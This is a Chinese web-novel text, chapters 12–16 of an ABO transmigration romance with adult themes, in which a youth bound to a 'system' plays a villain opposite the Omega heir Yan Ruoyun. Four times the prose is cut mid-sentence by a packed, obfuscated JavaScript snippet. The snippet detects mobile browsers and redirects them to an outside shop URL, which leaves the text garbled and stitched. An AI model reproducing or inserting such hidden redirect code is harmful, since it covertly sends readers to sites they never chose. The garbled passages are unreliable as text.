林逐直奔目的地,从置物架上捞过被放置许久的手机,擦了擦不小心溅在屏幕的水渍,顺便把自己先前穿过来的脏衣服捡起来,打算稍后塞到空掉的纸袋里带走。 绕过屋子中央那张大床往外走的时候,林逐余光瞥见床边地面上杂乱地堆叠着一整套西装。 是严若筠换下来的衣服。 一看就造价不菲,却被胡乱地扔到了地上。 浅色的西服外套在最上面,盖住了底下的衣物,林逐眼尖地发现领口的位置沾染了一丝几乎不可见的薄粉色血渍。 林逐:“……” 如果没记错的话,严若筠是有轻微洁癖的,既然他把换下来的衣服随手丢到地上,应该是不打算要了吧? 哎。 林逐在心里叹了一口气,完全没意识到自己刚才还暗自腹诽严若筠有些恶趣味,现在又臊眉搭眼地觉得给人家添麻烦了。 如此想着,他绕了几步路走到床脚处,蹲下身想要把地上的衣服捡起来,放到床上或者椅子上。 严若筠不想要了是一回事。 自己既然看到了,就顺手拾起来吧。 反正也不费什么功夫。 - 客厅里。 严若筠将装有干净衣物的袋子连同吹风机一起丢回沙发上,神情中暗含几分焦躁。他在茶几边来回踱了几步,终是忍不住轻轻嗅了嗅…… 空气里只残留着沐浴露的味道。 霎时间,严若筠只觉得心里空空落落的,好似一个断了线的氢气球,飘摇着升空,不知往哪个方向飞去,身下是万丈高空,看不到底。 他深吸了一口气,心想:这是正常的。 被初次标记的Omega会对Alpha产生强烈的生理依赖,想要跟对方时刻贴近,若是见不到人,便会不可控地滋生失落、抑郁等负面情绪。 他当然不至于抑郁,充其量……有那么一丁点的失落。 忽然,严若筠踱步的动作一顿,转而垂眸看向茶几上的阻隔手套和项圈,表情有些抗拒,又有些渴望。 几秒过去。 男人弯腰捏起黑色项圈,缓缓地环上了自己的脖子。 皮质项圈表面微凉,触及皮肤时,严若筠顿感一股酥麻的触电感从后颈腺体升起,覆盖了原有的钝疼,带来新的感受。 ……那是一种说不明道不明的、极其矛盾的感受。 好似迷茫着升空的氢气球忽然被一只手牵住了绳线,在失去自由的同时,又获得了难以割舍的满足感。 严若筠心中踌躇,一边抬手摩挲重新戴上的阻隔项圈,一边回想着今夜的种种,以及少年那张总是呆愣着、欲言又止的脸…… 抛去AO之间的临时标记影响,他确实对林逐这个人产生了几分好感。只是两人相处的时间太多短暂,让他有些犹豫。 但这股犹豫没有持续很久。 严若筠是个商人。 商人的本能告诉他—— 别犹豫。 下手够狠够快,方能得偿所愿 很快,他的唇角弯了起来。 眼中的犹豫一并褪去,露出往日的锋芒。 想明白后,严若筠施施然地踩着拖鞋往卧室里走,房门半敞着,他隔了老远就瞧见林逐蹲了下身,似乎想要把什么东西捡起来。 ……嗯?? 严若筠衔在唇边的笑一僵。 忽然间,他那双大长腿迈得飞快,几乎三步跨成一步,终于赶在少年捞起外套的同一时间,从他的手中拽过衣袖,再次丢回地上。 一支针管状的物品从外套口袋里掉出来,在地毯滚了几圈才停下,只是两人谁也没注意到。 尤其是严若筠。 钻心的痛感从他的小脚趾窜上来,宛如一道闪电,瞬间爬到了脑后。他眉头皱起,忍不住发出嘶的一声痛呼。 ——踢到床脚了。 林逐也满脸错愕,不知道为什么严若筠风风火火地冲进来……就为了阻止他把脏衣服捡起来? 这个念头只是一闪而过。眼见严若筠痛得站不住,林逐连忙扶着对方的小臂,让他坐到床边。 “你没事吧?”他紧张地问。 这时候,严若筠的一只脚踩着地,另一只脚支在床沿,正垂着脑袋,用手掌紧压着踢到硬物的脚背。 林逐没听到他的回答,索性蹲下身,侧头凑过去追问道:“很痛吗?” 刚一凑近,他的脸就被严若筠的另一只手推开了。 “不用管我。” 林逐眨了眨眼,一时间没反应过来。 ……刚才应该不是错觉吧? 他好像看到,严若筠哭了?? 男人将脸埋在曲起的膝头,半张脸陷在阴影里,眼尾似乎沁出湿润水汽,在睫毛上团成一粒很小很小的水滴形状,要掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695231|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不掉的样子。 林逐也忍不住嘶了一下。 他也撞到过脚趾头。 这种伤虽然不严重,缓一缓就能好,但疼起来是真的难以忍受。 于是,林逐又凑了上去。 他蹲在严若筠的正前方,抬手抓住男人捂着脚背的腕子,放缓声音道:“让我看一眼?” 这话又说了两遍,男人才卸了力道,顺势让林逐拉开了自己的手,露出脚上被磕碰的部位。 严若筠的脚背很白,青色的血管在皮肤下静默生长,林逐注意到他的脚踝内侧点缀着一粒鲜亮的红色小痣,红得扎眼。 大概是踩着床沿和疼痛的缘故,他的脚趾蜷缩着扣在一起,甲盖的形状圆润齐整,只有小脚趾的外侧泛着红,一小块薄薄的皮肤掀了起来。 好在伤口不深,没有流血,指甲也没有劈裂的迹象。 林逐松了一口气:“还好,不严重。” 停顿了几秒,他又疑惑地问道:“你刚才怎么那么急?我只是想把衣服捡起来……” 问题就在这里。 严若筠在心里默默想着。 让这个刚成年的小朋友看到自己发情时的泛滥湿液? ——真·丢不起这个人。 严若筠压下懊恼,很快找回属于成年人的余裕。他将下巴支在膝头,以微微俯视的角度盯着蹲在自己身前的少年,转移话题道, “林逐。” “嗯?” 金发少年抬眸看过来,露出那双看起来很阴郁厌世的眼睛。 严若筠毫无遮掩地打量着他的目光、神情、肢体语言,最后漫不经心地问了一句:“你是不是……有什么话想跟我说?” 少年的眼睛藏不住话,总是欲言又止地看过来,在自己注意到的同时,又飞快地收了回去。 严若筠觉得挺好玩儿的,便视而不见。 但是他现在很想跟林逐说点什么,又开口说:“你直接说吧。” 闻言,蹲在地上的少年扒拉了两下头发,让严若筠幻视了一秒闯了祸的金毛大狗。 大狗的表情不丰富,那双伪装性很强的眼睛却藏着一整个世界。 他小心翼翼地确认道:“那我真的说了?” 严若筠颔首:“说。” 林逐有些惊喜地抿了抿唇,包含期待地说出了那句关键台词:“……舒服吗?” 他不敢停顿,气也没喘地赶忙说出后半句: “记住,只有我能给你!” 严若筠的沉默振聋发聩。 半晌。 他问道:“你盯了我一晚上,就想说这个?” 随着系统喜不胜收地在他脑子里喊出‘好耶,第一个关键剧情点成功补全,任务——大成功’,林逐也露出了今晚的第一抹微笑。 他开心地点点头:“嗯。” 严若筠:“…………” 夏枫说得对。 真是不能小看处A的自尊心。 13. Chapter 13 Chapter 13 ——只有我能给你。 某种意义上,林逐还真没说错。 严若筠刚升起来的好笑和无语一扫而空,仔细地品味着这句话,忽然问道:“林逐,你知道我今晚为什么约你来这里见面吧?” 他显然是明知故问。 看过原著的林逐当然知道,点头应道:“嗯。” 严若筠性格谨慎多思,这一特性在商场上表现得淋漓尽致,不仅如此,他还有另一个优点:果决干脆,做了决定就不会再犹豫。 100%的信息素匹配度确实是他跟林逐初见的契机,然而想要跟林逐继续接触,是因为他自觉对眼前这个少年并不反感。 甚至觉得这小孩儿挺可爱的。 严若筠的家世与职位让他结识了不少人,那些人大多是跟他同属一个阶层且年龄相仿的Alpha。 毕竟像他这样身居高位的Omega继承人才是极少数。 那些Alpha跟严若筠一样—— 极其善于伪装,明明面上带着笑,心里却想着如何算计对方,最好狠狠地咬下一块肉。 由于AO的两性差异,以及上位者贯有的风流,不少人明知他有婚约在身,却仍旧刻意地抛出带有暗示的信号,并在私下流传着一则关于自己的调笑话。 娶了严若筠,等于白得一个严氏。 林修杰这小子赚大了。 谁叫他们高攀不上这位高岭之花呢?不过也不打紧,哪怕只是尝一尝味道都够本了。 严若筠一想起他们当着自己的面摆出那副文雅礼貌的模样,转头就显出下流油腻的原形,粗俗烂话一套套的,就忍不住反胃。 真是恶心透了。 而林逐…… 他就像是一汪被残叶枯枝掩盖的潭水,只要轻轻拨开覆在表面的遮挡物,就能显露出干净的内里。 格外清澈,分外好懂。 严若筠以前很少接触这种性格单纯的Alpha,今日恍然一见……他发觉自己还挺喜欢林逐这股劲儿的。 逗起来特别好玩。 严若筠对自己有着很清晰的认知:他是个强势的Omega,喜欢把所有事都把控在手心,忍受不了其他人骑到自己头上。 哪怕是至亲长辈也勉强不了他,只能晓之以理动之以情地劝,从不会未征得自己的同意就擅自安排他的人生。 林逐这样的,似乎跟他还挺互补的? 严若筠若有所思地盯着金发少年,顺应内心地说道:“既然你知道,今晚也过来赴约了……那你觉得我怎么样?” 不等对方回答。 他又直白道:“我觉得你还不错。” - 自打林逐一鼓作气地说完关键台词,最后那2%进度条瞬间被填满,首个任务经过一波三折,终是艰难完成。 系统已经变成cipi猫的形状,在宿主的意识里欢欣鼓舞地跳起了任务结算舞蹈,还不忘说:“宿主,我说得没错吧?你别想那么多,直接冲上去——” 林逐只觉得祂吵闹。 首战告捷,系统马不停蹄地播报下一个关键剧情点的内容, “哦豁,原著里渣男前夫哥跟主角第二次见面在半个月后,地面是北都第一医院。” 系统三言两语概括道, “初次见面过后,故意诱导主角发情的渣男差点被他扫地出国,结果主角发情期提前了,生理热控制不住,只好让渣男过来进行临时标记……” 祂总结完,还点评了一句。 “唔……医院play耶,这对宿主来说会不会太刺激了?建议宿主提前做好心理准备,预习相关知识,免得到时候又卡剧情。” “本系统可以提供教材哦~” 林逐熟练地忽略某些句子,忽然意识到某件事,紧张又疑惑地问话, “系统,我觉得主角现在看起来也没有很生我的气……应该不至于事后报复,要把我赶出国门吧?” 系统不明所以,反问道:“嗯?有什么问题吗?” 问题大了。 林逐提着气,说出自己的疑惑。 “这样的话……原著剧情岂不是一开始就被我蝴蝶掉了吗?会有什么后果吗?” 系统啊了一声:“因为绑定错了目标,我太心塞,都忘记跟宿主解释这件事了!” 林逐:“……” 你究竟还有多少失误是我不知道的? 系统呱唧呱唧地说起来, “我之前不是说过,这里不是真实的高维世界,而是由数据构成的书中世界嘛……” “稳定的书中世界外部都有一层数据屏障,宿主可以将屏障理解为‘能够被人观测到的原著小说本身’。换句话来说,只要屏障完好无损,书中世界怎样变化都没关系……” “唔,由于前夫哥这一角色的原始数据损坏,屏障产生了相应的裂缝,导致书中世界出现坍塌现象……所以,宿主需要补全的不是整条故事线,而是要确保涉及前夫哥缺失的关键剧情能被再次观测到,借此补全屏障。” 林逐懂了。 类似于女娲补天,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695232|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里缺了补哪里。 解释完,系统旧事重提道:“宿主真的不用本系统提供教材吗?演技差就要多努力啊!老话说的好,差生文具多——” “成绩差就要多准备点道具!” 林逐:“……” 这句话应该不是这么理解的吧? 还有,你这个‘道具’,它正经吗? 严格来说,系统算是林逐的救命恩人……呃,恩统,但林逐真的、真的——完全对祂尊敬不起来! 与系统的相处过程中,林逐时常有种‘倒数第二在给倒数第一讲题’的即视感。 离了个大谱。 而且这个倒数第二还特别话唠,吵得他脑子里像在放烟花,劈里啪啦地响个不停,连严若筠的说话声都要刻意去捕捉才能听清。 以至于对方说完话,林逐延迟了好一会儿才反应过来。 林逐呆滞地半张开嘴:“……啊?” 身上仅套了一件浴袍的男人坐在床边,曲着腿的姿势使得浴袍下摆卡着腿根往两侧滑落,露出一条对折的大长腿。 他肤白,浴袍也是纯白色调的,衬得脖颈上扣着的黑色项圈异常显眼,致使男人清冷淡雅的气质中,混入了一丝成熟的风韵。 严若筠不恼,耐心地重复了一遍刚才的说辞。 “——你,觉得我怎么样?” 他伸出食指,指了指自己,又说, “——我,觉得你还行。” 林逐愣了愣,嘴巴比脑子快一秒地问出了声:“啊?你刚才不是说觉得我还不错吗?” 严若筠忍不住嗤地一下笑出来,那双隐约透出灰绿的眸子荡着碎光,眉眼微微弯起的模样好看到惊艳。 “原来你听见了啊?”他说。 林逐尴尬地摸了摸鼻子,莫名有种在课堂上开小差被老师当众叫起来回答问题的错觉,点头道:“……嗯。” 他迎着男人的目光,很认真地思考了几秒,硬着头皮说出了自己的答案,“我觉得……你很好。” 这倒不是客套话。 只是在这种环境里,这种氛围下,严若筠的提问让他觉得心跳乱了节奏,呼吸也变得不顺畅。 林逐悄悄抬手摸了摸心口处。 紧接着,严若筠没有顺着这个回答往下说,反而话锋一转:“对了,你也知道我跟你同父异母的大哥有婚约吧?” 林逐:“……知道。” 他怎么可能不知道? 毕竟,林修杰可是《荷尔蒙假象》一文中,跟主角严若筠最终修成正果的正牌攻啊。 14. Chapter 14 《荷尔蒙假象》是一篇当之无愧的虐文,其特殊的ABO设定给身为天之骄子的主角蒙上了一层悲虐色彩。 文中,严若筠前后经历过两段感情,好巧不巧,与之纠缠的两位Alpha恰好是一对年龄相差极大的同父异母兄弟。 ——林逐,和林修杰。 如果说严若筠跟林逐是两条因信息素而短暂相交的平行线,那么他跟林修杰,大概就是年少结缘,几经波折才走到一起的真爱。 故事里,严林两家是三代世交。 严若筠与林修杰年岁相当,两人是同学、是对手、也是从小一起长大的挚友。 随着两家企业的合作愈发深入,长辈们起了撮合正值青春期的两个小年轻的心思。 对于他们这般家世的人来说,知根知底的强强联合比自由恋爱来得稳妥,又大有益处——更何况,两位小辈各方面的确很很相配。 严若筠跟林修杰同为接受精英教育的集团继承人,能力旗鼓相当,彼此也很有话聊,因此并没有拒绝这场联姻。 于是,十六岁还在读高中的两人成了一对未婚夫夫,原本坦荡的交往平添两分朦胧的暧昧与亲近。 如果没有意外的话,他们会在二次分化后建立真正的标记,在时机恰当时举办一场盛大的婚宴,成为可以彼此交托后背的伴侣。 可惜,世上没有如果。 十八岁成年之际,严若筠被确诊了罕见基因病,注定无法跟只有60%信息素匹配度的林修杰结合。 这份朦胧的情意还没来得及生根发芽便戛然而止,两人默契地后退一步,将对方放在了挚友的位置上。 婚约名存实亡,单单以商业合作的纽带维持着。 十年光阴,转瞬即逝。 严若筠月月前往医院复诊,注射天价针剂控制体内激素,并且在家人的劝说下,通过医院远程与Alpha进行信息素配对,结果却始终不尽人意。 直到这天。 一份标注着信息素匹配度为100%的报告单摆在了严若筠面前。 左上角的Alpha信息素样本提供者的姓名栏赫然显示着两个字—— 林逐。 林修杰同父异母的弟弟。 从严若筠同意约见林逐的那一刻起,命运便举起了画笔,在他身上涂抹着悲戚的色彩。 被诱导发情、被临时标记、甚至被终身标记……严若筠的灵魂独立且自由,身体却一步步被卑劣阴暗的Alpha拉入欲.望的泥沼。 他对林逐产生了强烈的信息素依赖,甚至到了上瘾的地步,为此——他忍受着曾经不能忍受的一切。 原著的高.潮片段发生在严若筠克服身心依赖,对林逐提出离婚的那一时刻。 ……就像是被蛛网束缚的蝴蝶终于挣脱了牢笼,翅翼残破却坚定地飞向了天空,展现出顽强而绚烂的生命力。 美得惊人。 严若筠不顾所有人的反对,进行了切腺体切除手术。而另一场手术,则成了他跟医生之间的秘密。 这个秘密却误打误撞地被林修杰知道了。 两人相识二十多年,林修杰自发地替他保守秘密,并始终陪伴在身体状况不佳的严若筠身边,支持他,照顾他。 日渐相处中,林修杰重燃年少时的好感,再一次爱上了严若筠。 …… 尽管原著里有着大量的虐主情节,以及通篇的不可描述,但不可否认,这篇小说的内核是积极向上的。 主角遭受了诸多身体与精神上的痛苦,可他始终没有放弃自己,违背了生理本能也要自救,甚至在故事的最后,还能够坦然地接受下一份感情,迎接新生活…… ——他不需要救赎。 因为他即是救赎本身。 读完这个故事后,林逐其实很喜欢这位主角,所以当他得知自己所要扮演的人设与剧情时,才会格外抵触。 没有什么事情比亲手撕碎自己所喜爱的事物还要残忍了。 幸好。 幸好系统聒噪、不靠谱、失误频出,却没有对林逐进行严格限制与要求,让他尝试以温和的方式完成了首个任务。 系统忽然警觉:“……” “直觉告诉我,宿主是不是在心里说本系统的坏话?” 林逐没理祂,只是仰着脸,听严若筠以平静淡然的口吻交待了自己的病情,然后又说, “…所以我和林修杰的婚约随时能取消,只是还没对外宣布。我之前也听说你挺爱在外面玩的……不过,没有正经交往过什么人吧?” 他垂眸瞟了一眼呆滞的金发少年,停顿了几秒才继续说, “那我就直接说了。” 林逐头皮一麻,对男人接下来的话有种莫名的紧张与惶恐,下意识地蜷起手指握成拳。 “林逐。” 屋内灯光煌煌然。 坐在床边的男人比蹲着身的少年高了一截儿,暖色调的影子罩住了少年,仿佛将人困在了一个狭小的空间内。 这个空间安静极了,只能听到两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695233|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放缓的呼吸声,以及加速的心跳声。 暧昧的气息随着男人说话的唇舌音,逐渐填满了这里的每一处角落。 他问:“林逐,你要跟我试一试吗?嗯?” 最后一个问询的‘嗯’字微微上扬,带着些轻飘飘的鼻腔音,却又干脆利落。 林逐的脑子懵了一瞬,有些不敢相信自己听到了什么,下意识地道了声:“……啊?” 如果没有理解错的话,这应该是要跟自己尝试交往的意思?? 林逐开始怀疑自己的耳朵,下一秒又听到严若筠笑出了声,问:“你这是什么表情?” 林逐:“…………” 当然是怀疑人生的表情。 来香山会馆之前,林逐已经做好了被严若筠讨厌、甚至是厌恶的准备。 万万没想到,严若筠居然跟自己表白了?? 是表白的意思,没错吧? 这时候,狗头军师系统噌地冒出一个小灯泡,兴冲冲地建议道, “啊!宿主可以答应诶,既然主角对你有好感,应该会配合你完成之后的关键剧情吧?事后也不用担心被报复!” 林逐:“……” 你可真是个天才。 沉默片刻。 林逐才磕磕巴巴地应道:“呃,这个……”他卡壳了一下,“这会不会太快了?” 严若筠淡然自若地说:“快吗?我们都已经咬过彼此的腺体了,你也临时标记了我。” “难不成……”男人忽然压低了上身,凑到林逐面前,与他近距离地对视着,“你以为我今晚是来找你约炮的吗?” 严若筠面不改色地说着,全然抛却了先前打算露个面就走的心思,也没有被自己打脸的尴尬,尽显成熟男性的游刃有余。 林逐的后背都麻成一片,显然被严若筠忽如其来的露骨措辞惊到了。他满脸的茫然和讶异,嘴巴也不由自主地半张开了。 严若筠还在说:“你不拒绝就是默认了?” 男人离得很近,说话时的热气扑在林逐的下颌处,给他带来莫名的痒意,仿佛有一只看不见的小手在他的心窝处悄悄挠了一下。 林逐懵了懵,强烈酥麻感从头顶爬到后背,又顺着两条腿钻到他的脚底。 不是错觉。 林逐恍然发觉自己蹲了太久,两条腿已经不堪重负,开始发胀发麻。 就在这时,严若筠又漫不经心地撂下一道惊雷:“你总是摆出这幅表情——” “是想让我亲你吗?” 15. Chapter 15 严若筠是逗他的。 然而林逐这个没谈过恋爱的纯情学生哪里招架过这种告白场面,顿时紧张得一个后仰,险些打着趔趄摔坐到地面。 腿部的酥麻感瞬间窜上来,仿佛触电了一般,刺得他不由自主地将唇线下压,表情格外难看。 严若筠始终盯着他的神情动作,从善如流地道:“当然了,你也可以拒绝,这种事没办法勉强。” 见林逐抬起那双下垂眼望过来,眸中似乎闪烁着惊疑的情绪,男人笑了笑,放下支在床沿的那条腿。 他似笑非笑地说:“不用担心你和我的信息素匹配度问题,没有你,我也能正常生活,今晚的事情……” “就当做一个意外吧。” 严若筠站起身,顺势要往外走,用一种轻飘飘的口吻说道,“既然这样,就当我们今晚没见过?” “以后也没必要见了……” 林逐全程插不上话,愣愣地望着严若筠施施然消失在卧室的背影,完全不懂上一秒还暧昧得他心慌的气氛,怎么下一秒就急转直下了? 弄得他满头雾水,心脏也莫名发闷。 林逐站起身,忽然被一道稍纵即逝的白光晃了一下眼。 那道光源来自于床头柜的隐秘角落,如果不是蹲起的动作,他也发现不了。 林逐仔细一看,呼吸霎时滞住了,心跳仿佛因缺氧而剧烈起伏,在胸腔里震出回音,砰砰作响。 ——那是一支Alpha用的强效抑制剂。 先前在一楼洗手间,林逐以为男人两手空空而来,却不知道他的西装外套里装有一支市面上最新款的强效抑制剂。 在这种情况下,严若筠始终没拿出抑制剂,而是紧张且犹疑地让林逐标记了自己。 他在想什么? 林逐捉摸不透。 他不是听说过渣男前夫哥的一大长串负面消息吗?今晚不是单纯来应付家人吗? 为什么还是——还是—— 正如林逐想不明白严若筠的选择,他也想不明白自己现在为何气不打一处来,干脆放弃寻找答案,本能一般地往外走。 客厅里。 严若筠斜侧背对着他,林逐只能看到他手臂曲在身边,上面搭着从纸袋里拿出来的干净衣服,另一手举在耳边,不知道在拨弄头发还是做什么。 他马上要走了。 林逐清晰地意识到了这件事。 严若筠是个毫不拖泥带水的人,做了决定就不后悔,也不回头。读过原著的林逐最是知道这一点。 尽管在下一次发情期来临时,两人大概率会迫于严若筠的病情再次相见,林逐却莫名地觉得不高兴。 突如其来的车祸、神乎其神的穿书、无法逃避的扮演任务……短时间内发生了太多让林逐难以招架的事情,让他应不暇接。 严若筠那段类似于告白的发言是压倒骆驼的最后一根稻草。 林逐岌岌可危的神经彻底短路,只好按照心底最深切的欲.望行事。 “啪——!” 林逐闷声上前,一把抓住了男人搭着衣服的那条手臂,手下力道有些重。 严若筠猝然被少年扯住上臂,身形霎时一顿,他偏脸看过去,等了好几秒才听见林逐吭哧吭哧地憋出两个字。 “……别走。” 严若筠神色淡淡,忽然道了声:“刚才我提的那件事……你就当我没说过。” 闻言,林逐的唇线抿得更紧,手像钢铁一样紧攥着男人的上臂,复读机般的又憋出一句:“别走,求你了。” 男人转过身来。 林逐终于看到他举在耳边的手究竟在干什么了……他在,打电话??? 只见严若筠举着手机,淡道:“就这样,我先挂了。” 电话那头。 司机满脸茫然:“哦哦,好的严总,那我就不过去了?” 话音刚落,对面就传来几声嘟嘟声。 身边的妻子凑过来,好奇地问:“严总今晚有应酬?喊你加班?”面上没有半点失落与不满。 毕竟给严总打工待遇好,福利多,面对经常性的加班接送要求,她再多的情绪也被厚厚的红包给打消了。 “不是,”司机摇摇头,“严总提前让陈秘把今晚的应酬给推了,还特地给了我假期,现在应该是私人行程吧?” 严总在进行私人行程时很少让司机接送,而且……总感觉严总刚才说话的语气怪怪的? …Emmm。 听着怎么有点像严总坑人时的语气?? - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695234|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一头。 酒店客厅开敞明亮,安静得不闻人声,只听得见手指在屏幕上敲打时发出的虚拟触摸音。 “咔哒、咔哒哒——” 严若筠身上仍是那件纯白浴袍,此时正坐在沙发上翘着个二郎腿,低头戳手机。 林逐蹲在他脚边,金黄明亮的脑袋埋在手臂里,隐约露出的耳尖羞愤到发红。 严若筠动了动腿,似随意说了句:“我要走了。” 黄橙橙的脑袋摇了摇,沉默说‘不’。 严若筠大拇指在屏幕上戳戳戳,又满不在乎地说:“你又不跟我谈恋爱,还不想我走,真想跟我约炮啊?” 林逐小声反驳:“……不是。” 严若筠把手机息屏,随手丢到沙发上,居高临下地瞥了眼脚边埋着头的金毛小狗,“那你是什么意思?” 他略等了等,没等到回答,于是不轻不重地啧了一声:“撒手。” 只见少年的手指动了动,还是没松开紧捏着的浴袍下摆。 严若筠又啧一声:“闲着没事干就……”他停顿了一下,把后半句说得轻描淡写。 “帮我吹头发。” 林逐一声不吭地捞起旁边沙发上的吹风机,在沙发侧后底座找到一个插口,通上电之后就开始帮严若筠吹头发。 呜呜的温热风从机器口里呼出来。 林逐一手举着吹风机晃动,另一手小心翼翼地在严若筠发间拨动,很仔细地没有碰到对方的肌肤。 严若筠的发质较软,虽然发量惊人,但很快就吹干了,没有进行发型打理的模样很显年轻,完全看不出已年近三十了,更像是个文质彬彬的大学生。 林逐啪地一下关了吹风机,又不知道该干什么了,不管是蹲是站都很局促,可要让他跟严若筠说点什么,嘴巴里又吐不出什么话来。 闷葫芦一个。 全程旁观的剧情记录员系统默然问道:“宿主,该说还得说……你不觉得主角是在钓你吗???” 林逐:“……没有吧?” 就在这时。 严若筠仰起脑袋,冲他勾了勾手指头,示意林逐靠近点。 林逐犹犹豫豫地弯下了腰,就听他几乎是用气音,极轻极轻地说了声, “谢啦。” 16. Chapter 16 电梯正在下行。 抵达负一楼时,发出‘叮’的一声。 林逐跟严若筠一前一后地从电梯里走出来。 男人已经换了一身干净的休闲西装,丝绸材质的白衬衫在灯光下隐约反射着银光,下摆掖进了深灰色的裤装中,被一条两指宽的腰带勒出很夸张的曲线。 他的腰太细了,腿又过分长,身形修长得堪比秀场模特。 让林逐怀疑他平时是不是吃得太少了。 可严若筠并不是病态的瘦,看着匀称得恰到好处,这身宽松的休闲西装也不像上一套的正装那样端庄,反而将其上位者的气势弱化了几分,让他看上去更为慵懒贵气了。 男人一手插兜走在前头,林逐落后他半步,手里提着两个装着脏衣服的纸袋。 由于严若筠之前的异常反应,林逐以为他不喜欢被别人触碰自己穿过的衣物,所以没有再说要帮忙收拾,只是在退房后顺手拎着了。 两人正往地下停车场的方向走去。 按照严若筠的说法—— 为了感谢林逐不辞辛苦地帮他吹头发,他决定顺路送林逐回家,反正也没下次了。 对此,系统表示存疑。 但祂什么都没说,只是暗戳戳地发了一张猫和老鼠的表情包:[哦,可怜的汤姆被玩弄于股掌之中.jpg] 严若筠今晚是自己开车来的,驾驶的是一辆红色法拉利,车身线条流畅,颜色鲜亮明艳,造型感十足。 原著里说过,他从小接受高压教育,爱好不似寻常Omega,工作之余,他更青睐于能带来强烈刺激感的娱乐活动。 比如高空跳伞、赛车之类的。 严若筠甚至持有相应的职业证件。 这一点跟他清冷精致的外表截然不同,极具反差感,让人不自觉升起浓烈的探究欲。 林逐也不例外。 他前十八年的社交范围很简单,大多是老师同学,从没遇见过像严若筠这样举手投足都透着莫名吸引力的年长男性。 车灯一闪。 车锁随即解开。 严若筠率先坐到驾驶座中,林逐跟着坐进了副驾,在系安全带之前先将手上两个纸袋放到了后座。 在启动车子之前,严若筠问了句:“你住哪儿?” 系统在生成林逐的身体数据时,给他输入了渣男前夫哥这一角色的记忆,还自动补全了所有细节,因此他很流畅地报出了一串地址。 不是林家的住址。 而是市中心某寸土寸金的富人小区。 渣男前夫哥的身世不光彩,也从未踏进过林家的大门,而是一直独自住在外面,平时由保姆来照顾生活起居。 说到底,都是上一代人留下的烂账。 他母亲秦思暖是父亲林城的初恋,可惜两人门不当户不对,被林家人棒打了鸳鸯。 多年后,两人再度相逢。 秦思暖仍旧独身一人,林城却已经跟另一位门当户对的Omega结了婚,生下儿子林修杰…… 两人当年爱得轰轰烈烈,分得不情不愿,久别重逢,在酒精的作用下滚到了一起,后来又演变成了情人关系。 秦思暖本就是个爱情至上的Omega,随着终身标记的建立,她对林城的占有欲愈发强盛,开始要求林城离婚,给自己一个名分。 林城已经不是当初那个为了爱情能放弃继承权的青年了,因此并没有答应她。 就在他想要结束这段关系的时候,秦思暖怀孕了。她将希望寄托在这个胚胎身上,借口散心离开了北都,瞒着所有人生下孩子才回来,并为孩子取名为‘林逐’。 ——其意为:追逐幸福。 然而,这样扭曲的追逐方式注定得不到好下场。哪怕她跟林城的关系曝光得人尽皆知,林城也没有松口,只将她和孩子安置在外面。 秦思暖不是个爱财的Omega,在林城的日渐疏远下,她变得抑郁暴躁,最终选择在林逐十岁那年结束了自己的生命。 对此,林城感到分外愧疚,却也无济于事。由于那几年闹得太难看,林家人跟妻子那边对秦思暖母子极为排斥,所以他没有将林逐领回来,只能从金钱上补偿。 也正因如此,林逐从小内心扭曲阴暗,对林修杰抱有强烈的恶意,一方面他放纵自己,自甘堕落,另一方面又处处拿自己跟同父异母的精英大哥作比较…… 可想而知,他的内心只会越来越扭曲。 而跟严若筠的极高信息素匹配度,则是他堕落人生中的一个转折点——唯一能让他凌驾于林修杰之上,获得满足感的转折点。 拥有角色全部记忆的林逐忍不住暗叹一口气:无论有怎样的理由,抱着这样的心思去伤害他人终究是不对的。 严若筠何其无辜? 思及此处,林逐又想叹气了。 他现在不得不扮演这个仗着信息素匹配度来肆意伤害严若筠的阴暗少年。 在这种情况下,严若筠居然还想要跟自己试一试?? 林逐忍不住瞥眼看向男人的侧脸,在法拉利开出地下停车场的时候,才用难以置信的语气说了句, “……我可能没你想得那么好?” 好半晌。 